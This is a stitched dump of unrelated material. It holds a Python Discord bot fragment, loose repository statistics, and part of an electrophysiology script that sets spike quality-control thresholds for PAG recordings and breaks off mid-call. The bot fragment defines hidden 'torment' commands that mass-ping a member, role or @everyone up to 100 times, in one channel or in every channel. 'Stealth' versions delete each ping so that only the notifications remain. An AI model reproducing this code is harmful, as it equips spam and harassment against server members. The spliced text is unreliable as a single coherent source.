ctx.message.guild # Only allow owner to change server stats isOwner = self.settings.isOwner(ctx.author) if isOwner == None: return elif isOwner == False: return if not self.toTorment: await ctx.message.author.send('Not currently tormenting.') return # Cancel it! self.toTorment = False await ctx.message.author.send('Tormenting cancelled.') @commands.command(pass_context=True, hidden=True) async def torment(self, ctx, *, member = None, times : int = None): """Deals some vigilante justice (owner only).""" channel = ctx.message.channel author = ctx.message.author server = ctx.message.guild message = ctx.message # Only allow owner to change server stats isOwner = self.settings.isOwner(ctx.author) if isOwner == None: return elif isOwner == False: return usage = 'Usage: `{}torment [role/member] [times]`'.format(ctx.prefix) isRole = False if member == None: await ctx.channel.send(usage) return # Check for formatting issues if times == None: # Either xp wasn't set - or it's the last section if type(member) is str: # It' a string - the hope continues roleCheck = DisplayName.checkRoleForInt(member, server) if roleCheck and roleCheck["Role"]: isRole = True member = roleCheck["Role"] times = roleCheck["Int"] else: # Role is invalid - check for member instead nameCheck = DisplayName.checkNameForInt(member, server) if not nameCheck: await ctx.channel.send(usage) return if not nameCheck["Member"]: msg = 'I couldn\'t find that user or role on the server.'.format(member) await ctx.channel.send(msg) return member = nameCheck["Member"] times = nameCheck["Int"] # Set the torment flag self.toTorment = True if times == None: # Still no times - roll back to default times = 25 if times > 100: times = 100 if times == 0: await ctx.channel.send('Oooooh - I bet they feel *sooooo* tormented...') return if times < 0: await ctx.channel.send('I just uh... *un-tormented* them. Yeah.') return # Delete original torment message await message.delete() for i in range(0, times): # Do this over time try: if member.name == "@everyone" and type(member) is discord.Role: await channel.send("{}".format(member.name)) else: await channel.send('{}'.format(member.mention)) except Exception: pass for j in range(0, self.waitBetween): # Wait for 1 second, then check if we should cancel - then wait some more await asyncio.sleep(1) if not self.toTorment: return @commands.command(pass_context=True, hidden=True) async def stealthtorment(self, ctx, *, member = None, times : int = None): """Deals some sneaky vigilante justice (owner only).""" channel = ctx.message.channel author = ctx.message.author server = ctx.message.guild message = ctx.message # Only allow owner isOwner = self.settings.isOwner(ctx.author) if isOwner == None: return elif isOwner == False: return usage = 'Usage: `{}torment [role/member] [times]`'.format(ctx.prefix) isRole = False if member == None: await ctx.channel.send(usage) return # Check for formatting issues if times == None: # Either xp wasn't set - or it's the last section if type(member) is str: # It' a string - the hope continues roleCheck = DisplayName.checkRoleForInt(member, server) if roleCheck and roleCheck["Role"]: isRole = True member = roleCheck["Role"] times = roleCheck["Int"] else: # Role is invalid - check for member instead nameCheck = DisplayName.checkNameForInt(member, server) if not nameCheck: await ctx.channel.send(usage) return if not nameCheck["Member"]: msg = 'I couldn\'t find that user or role on the server.'.format(member) await ctx.channel.send(msg) return member = nameCheck["Member"] times = nameCheck["Int"] # Set the torment flag self.toTorment = True if times == None: # Still no times - roll back to default times = 25 if times > 100: times = 100 if times == 0: await ctx.channel.send('Oooooh - I bet they feel *sooooo* tormented...') return if times < 0: await ctx.channel.send('I just uh... *un-tormented* them. Yeah.') return # Delete original torment message await message.delete() for i in range(0, times): # Do this over time try: if member.name == "@everyone" and type(member) is discord.Role: tmessage = await ctx.channel.send("{}".format(member.name)) else: tmessage = await ctx.channel.send('{}'.format(member.mention)) await tmessage.delete() except Exception: pass for j in range(0, self.waitBetween): # Wait for 1 second, then check if we should cancel - then wait some more await asyncio.sleep(1) if not self.toTorment: return @commands.command(pass_context=True, hidden=True) async def servertorment(self, ctx, *, member = None, times : int = None): """Deals some vigilante justice in all channels (owner only).""" channel = ctx.message.channel author = ctx.message.author server = ctx.message.guild message = ctx.message # Only allow owner isOwner = self.settings.isOwner(ctx.author) if isOwner == None: return elif isOwner == False: return usage = 'Usage: `{}torment [role/member] [times]`'.format(ctx.prefix) isRole = False if member == None: await ctx.channel.send(usage) return # Check for formatting issues if times == None: # Either xp wasn't set - or it's the last section if type(member) is str: # It' a string - the hope continues roleCheck = DisplayName.checkRoleForInt(member, server) if roleCheck and roleCheck["Role"]: isRole = True member = roleCheck["Role"] times = roleCheck["Int"] else: # Role is invalid - check for member instead nameCheck = DisplayName.checkNameForInt(member, server) if not nameCheck: await ctx.channel.send(usage) return if not nameCheck["Member"]: msg = 'I couldn\'t find that user or role on the server.'.format(member) await ctx.channel.send(msg) return member = nameCheck["Member"] times = nameCheck["Int"] # Set the torment flag self.toTorment = True if times == None: # Still no times - roll back to default times = 25 if times > 100: times = 100 if times == 0: await ctx.channel.send('Oooooh - I bet they feel *sooooo* tormented...') return if times < 0: await ctx.channel.send('I just uh... *un-tormented* them. Yeah.') return # Delete original torment message await message.delete() for i in range(0, times): # Do this over time for channel in server.channels: # Get user's permissions if type(member) is discord.Role or channel.permissions_for(member).read_messages and type(channel) is discord.TextChannel: # Only ping where they can read try: if member.name == "@everyone" and type(member) is discord.Role: await channel.send("{}".format(member.name)) else: await channel.send('{}'.format(member.mention)) except Exception: pass for j in range(0, self.waitBetween): # Wait for 1 second, then check if we should cancel - then wait some more await asyncio.sleep(1) if not self.toTorment: return @commands.command(pass_context=True, hidden=True) async def stealthservertorment(self, ctx, *, member = None, times : int = None): """Deals some sneaky vigilante justice in all channels (owner only).""" channel = ctx.message.channel author = ctx.message.author server = ctx.message.guild message = ctx.message # Only allow owner isOwner = self.settings.isOwner(ctx.author) if isOwner == None: return elif isOwner == False: return usage = 'Usage: `{}torment [role/member] [times]`'.format(ctx.prefix) isRole = False if member == None: await ctx.channel.send(usage) return # Check for formatting issues if times == None: # Either xp wasn't set - or it's the last section if type(member) is str: # It' a string - the hope continues roleCheck = DisplayName.checkRoleForInt(member, server) if roleCheck and roleCheck["Role"]: isRole = True member = roleCheck["Role"] times = roleCheck["Int"] else: # Role is invalid - check for member instead nameCheck = DisplayName.checkNameForInt(member, server) if not nameCheck: await ctx.channel.send(usage) return if not nameCheck["Member"]: msg = 'I couldn\'t find that user or role on the server.'.format(member) await ctx.channel.send(msg) return member = nameCheck["Member"] times = nameCheck["Int"] # Set the torment flag self.toTorment = True if times == None: # Still no times - roll back to default times = 25 if times > 100: times = 100 if times == 0: await ctx.channel.send('Oooooh - I bet they feel *sooooo* tormented...') return if times < 0: await ctx.channel.send('I just uh... *un-tormented* them. Yeah.') return # Delete original torment message await message.delete() for i in range(0, times): # Do this over time for channel in server.channels: # Get user's permissions if type(member) is discord.Role or channel.permissions_for(member).read_messages and type(channel) is discord.TextChannel: # Only ping where they can read try: if member.name == "@everyone" and type(member) is discord.Role: tmessage = await channel.send("{}".format(member.name)) else: tmessage = await channel.send('{}'.format(member.mention)) await tmessage.delete() except Exception: pass for j in range(0, self.waitBetween): # Wait for 1 second, then check if we should cancel - then wait some more await asyncio.sleep(1) if not self.toTorment: return

29.24186

127

0.639733

1,639

12,574

4.898109

0.118365

0.037369

0.041106

0.052068

0.884903

0.878675

0.87855

0.877803

0.857872

0.839935

0

0.006747

0.257356

12,574

429

128

29.310023

0.852966

0.146016

0

0.878788

0

0.003367

0.097643

0

1

0.006734

false

0.03367

0.020202

0

0.164983

0

null

0

1

0

1

0

null

0

7

0ef673d7103944b3cc00e86bd1cfdd0ef20a1961

40,695

py

Python

loose_seal/filtersQC_vgat_kynac_ptx.py

opavon/PAG_ephys_analysis

a9a27ad359afacb497b14ff5698421b2816f38a2

[ "MIT" ]

null

loose_seal/filtersQC_vgat_kynac_ptx.py

opavon/PAG_ephys_analysis

a9a27ad359afacb497b14ff5698421b2816f38a2

[ "MIT" ]

null

loose_seal/filtersQC_vgat_kynac_ptx.py

opavon/PAG_ephys_analysis

a9a27ad359afacb497b14ff5698421b2816f38a2

[ "MIT" ]

null

# Defaults peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = float('-inf'), QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) ##### dlpag ##### # dlpag_vgat_190122_c1_LDIAA_OP_VC_clear_nointerval_2 # prominence (38-150), peak (-100-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4.8, QC_pw_max = 20, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = -25, QC_lb_min = 7, QC_lb_max = float('inf'), QC_rb_min = 5, QC_rb_max = float('inf') ) # dlpag_vgat_200717_c4_LDIAL _OP_VC_clear_nointerval_1 # prominence (200-600), peak (-500-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4, QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dlpag_vgat_200717_c5_LDIAM_OP_VC_clear_nointerval_1 # prominence (150-400), peak (-350-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = float('-inf'), QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dlpag_vgat_200720_c9_LDIAS_OP_VC_clear_nointerval_1 # prominence (100-300), peak (-300-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = float('-inf'), QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dlpag_vgat_201105_c2_LDIBC_OP_VC_clear_nointerval_1 # prominence (90-200), peak (-200-50) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 3, QC_pw_max = 6, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = 5, QC_lb_max = float('inf'), QC_rb_min = 5, QC_rb_max = float('inf') ) # dlpag_vgat_201105_c5_LDIBF_OP_VC_clear_nointerval_1 # prominence (100-200), peak (-200-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = float('-inf'), QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dlpag_vgat_201125_c5_LDIBM_OP_VC_clear_nointerval_2 # prominence (80-500), peak (NA) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4, QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dlpag_vgat_201126_c4_LDIBS_OP_VC_clear_nointerval_2 # prominence (125-200), peak (-200-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4, QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dlpag_vgat_201126_c4_LDIBS_OP_VC_clear_nointerval_3 # prominence (105-270), peak (-300-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 3, QC_pw_max = 50, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = 5, QC_lb_max = float('inf'), QC_rb_min = 5, QC_rb_max = 100 ) # dlpag_vgat_201201_c2_LDIBU_OP_VC_clear_nointerval_2 # prominence (50-200), peak (-100-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4, QC_pw_max = 20, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dlpag_vgat_201201_c5_LDIBX_OP_VC_clear_nointerval_1 # prominence (70-200), peak (-200-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4, QC_pw_max = 20, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dlpag_vgat_201202_c4_LDIBZ_OP_VC_clear_nointerval_1 # prominence (35-120), peak (-100-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 5, QC_pw_max = 10, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = -66, QC_pb_max = -25, QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dlpag_vgat_201202_c5_LDICA_OP_VC_clear_nointerval_1 # prominence (90-165), peak (-200-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 3.5, QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = 4.1, QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dlpag_vgat_201202_c7_LDICC_OP_VC_clear_nointerval_1 # prominence (125-280), peak (-300-100) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 3, QC_pw_max = 25, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dlpag_vgat_201203_c5_LDICG_OP_VC_clear_nointerval_3 # prominence (100-200), peak (-200-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = float('-inf'), QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dlpag_vgat_201215_c3_LDICL_OP_VC_clear_nointerval_1 # prominence (65-160), peak (-200-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 6, QC_pw_max = 9, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dlpag_vgat_201215_c9_LDICR_OP_VC_clear_nointerval_1 # prominence (70-200), peak (-200-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 5, QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = 120 ) ##### dmpag ##### # dmpag_vgat_190123_c2_LDIAF_OP_VC_clear_nointerval_1 # prominence (105-200), peak (-200-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 3, QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_200720_c7_LDIAQ_OP_VC_clear_nointerval_1 # prominence (40-300), peak (NA) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4, QC_pw_max = 7, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_200720_c8_LDIAR_OP_VC_clear_nointerval_1 # prominence (60-150), peak (-200-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = float('-inf'), QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_201102_c3_LDIAX_OP_VC_clear_nointerval_2 # prominence (140-500), peak (-350-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 5, QC_pw_max = 20, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = 5, QC_rb_max = 20 ) # dmpag_vgat_201102_c4_LDIAY_OP_VC_clear_nointerval_1 # prominence (50-125), peak (-85-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 3, QC_pw_max = 10, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = 4, QC_lb_max = float('inf'), QC_rb_min = 4, QC_rb_max = 80 ) # dmpag_vgat_201102_c7_LDIBA_OP_VC_clear_nointerval_2 # prominence (50-200), peak (-100-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4, QC_pw_max = 10, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = -20, QC_lb_min = 4, QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = 20 ) # dmpag_vgat_201105_c3_LDIBD_OP_VC_clear_nointerval_2 # prominence (40-150), peak (-100-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4, QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_201105_c4_LDIBE_OP_VC_clear_nointerval_2 # prominence (60-150), peak (-150-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = float('-inf'), QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = float('inf') ) # dmpag_vgat_201105_c5_LDIBF_OP_VC_clear_nointerval_2 # prominence (110-250), peak (-250-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 3.95, QC_pw_max = 6.25, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = float('-inf'), QC_lb_max = float('inf'), QC_rb_min = float('-inf'), QC_rb_max = 100 ) # dmpag_vgat_201105_c6_LDIBG_OP_VC_clear_nointerval_1 # prominence (55-110), peak (-100-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4.5, QC_pw_max = 20, QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), QC_pb_max = float('inf'), QC_lb_min = 5, QC_lb_max = float('inf'), QC_rb_min = 5, QC_rb_max = 63.5 ) # dmpag_vgat_201105_c7_LDIBH_OP_VC_clear_nointerval_2 # prominence (85-140), peak (-150-0) peaks_QC, cut_spikes_QC, cut_spikes_holding_QC, cut_spikes_baselined_QC, parameters_QC = spikesQC( file_name, peaks, peaks_properties, cut_spikes, cut_spikes_holding, cut_spikes_baselined, filter_by = ['p', 'wh', 'pw', 'ph', 'pb', 'lb', 'rb'], QC_p_min = float('-inf'), QC_p_max = float('inf'), QC_wh_min = float('-inf'), QC_wh_max = float('inf'), QC_pw_min = 4, QC_pw_max = float('inf'), QC_ph_min = float('-inf'), QC_ph_max = float('inf'), QC_pb_min = float('-inf'), 